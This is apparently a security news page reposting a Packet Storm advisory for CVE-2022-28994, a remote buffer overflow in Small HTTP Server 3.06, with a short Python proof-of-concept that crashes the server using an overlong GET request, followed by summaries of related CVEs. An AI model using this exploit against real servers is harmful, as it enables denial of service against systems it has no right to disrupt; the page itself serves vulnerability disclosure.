Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-28994: Small HTTP Server 3.06 Remote Buffer Overflow ≈ Packet Storm

Small HTTP Server version 3.06 suffers from a remote buffer overflow vulnerability via long GET request.

CVE
#vulnerability#windows#buffer_overflow
# Exploit Title: Small HTTP Server Remote Buffer Overflow# Discovered by: Yehia Elghaly# Discovered Date: 2022-04-07# Vendor Homepage: http://smallsrv.com/# Software Link : http://smallsrv.com/shttps_mgi.exe# Tested Version: 3.06# Vulnerability Type:  Buffer Overflow Remote# Tested on OS: Windows XP SP3 -  Windows 7 Professional x86 SP1 # Description: Small HTTP Server 3.06 Long GET Remote Buffer Overflow#!/usr/bin/env pythonfrom requests.exceptions import ConnectionErrorfrom requests.compat import urljoin, quote_plusimport requests as reqtry:  url = "http://192.168.1.99"  term = "A" * 1600  evilb = urljoin(url, quote_plus(term))  resp = req.request(method='GET', url=evilb)  print(resp.text)except ConnectionError as e:  print "Crashed!!"

Related news

CVE-2021-41993: Ping Identity Documentation Portal

A misconfiguration of RSA in PingID Android app prior to 1.19 is vulnerable to pre-computed dictionary attacks, leading to an offline MFA bypass when using PingID Windows Login.

CVE-2021-41994: Ping Identity Documentation Portal

A misconfiguration of RSA in PingID iOS app prior to 1.19 is vulnerable to pre-computed dictionary attacks, leading to an offline MFA bypass when using PingID Windows Login.

CVE-2022-28198: Security Bulletin: NVIDIA Omniverse Nucleus and Omniverse Cache - April 2022

NVIDIA Omniverse Nucleus and Cache contain a vulnerability in its configuration of OpenSSL, where an attacker with physical access to the system can cause arbitrary code execution which can impact confidentiality, integrity, and availability.

Cloudflare Flags Largest HTTPS DDoS Attack It's Ever Recorded

This scale of this month's encrypted DDoS attack over HTTPS suggests a well-resourced operation, analysts say.

CVE-2022-1543: Improper handling of Length parameter in scoold

Improper handling of Length parameter in GitHub repository erudika/scoold prior to 1.49.4. When the text size is large enough the service results in a momentary outage in a production environment. That can lead to memory corruption on the server.

CVE-2022-29451: Rara One Click Demo Import

Cross-Site Request Forgery (CSRF) leading to Arbitrary File Upload vulnerability in Rara One Click Demo Import plugin <= 1.2.9 on WordPress allows attackers to trick logged-in admin users into uploading dangerous files into /wp-content/uploads/ directory.

CVE-2022-29414: Subscribe To Comments Reloaded

Multiple (13x) Cross-Site Request Forgery (CSRF) vulnerabilities in WPKube's Subscribe To Comments Reloaded plugin <= 211130 on WordPress allows attackers to clean up Log archive, download system info file, plugin system settings, plugin options settings, generate a new key, reset all options, change notifications settings, management page settings, comment form settings, manage subscriptions > mass update settings, manage subscriptions > add a new subscription, update subscription, delete Subscription.

CVE-2022-29934: Build software better, together

USU Oracle Optimization before 5.17.5 lacks Polkit authentication, which allows smartcollector users to achieve root access via pkexec. NOTE: this is not an Oracle Corporation product.

CVE-2021-4206: QEMU QXL Integer overflow leads to Heap Overflow

A flaw was found in the QXL display device emulation in QEMU. An integer overflow in the cursor_alloc() function can lead to the allocation of a small cursor object followed by a subsequent heap-based buffer overflow. This flaw allows a malicious privileged guest user to crash the QEMU process on the host or potentially execute arbitrary code within the context of the QEMU process.

CVE-2021-4207: QEMU QXL Integer overflow leads to Heap Overflow

A flaw was found in the QXL display device emulation in QEMU. A double fetch of guest controlled values `cursor->header.width` and `cursor->header.height` can lead to the allocation of a small cursor object followed by a subsequent heap-based buffer overflow. A malicious privileged guest user could use this flaw to crash the QEMU process on the host or potentially execute arbitrary code within the context of the QEMU process.

CVE-2022-0984: 2064118 – (CVE-2022-0984, MSA-22-0007) CVE-2022-0984 moodle: possible to reach the profile field badge criteria on a course page

Users with the capability to configure badge criteria (teachers and managers by default) were able to configure course badges with profile field criteria, which should only be available for site badges.

CVE-2022-29936: Build software better, together

USU Oracle Optimization before 5.17 allows authenticated quantum users to achieve remote code execution because of /v2/quantum/save-data-upload-big-file Java deserialization. NOTE: this is not an Oracle Corporation product.

CVE-2022-29935: Build software better, together

USU Oracle Optimization before 5.17.5 allows attackers to discover the quantum credentials via an agent-installer download. NOTE: this is not an Oracle Corporation product.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907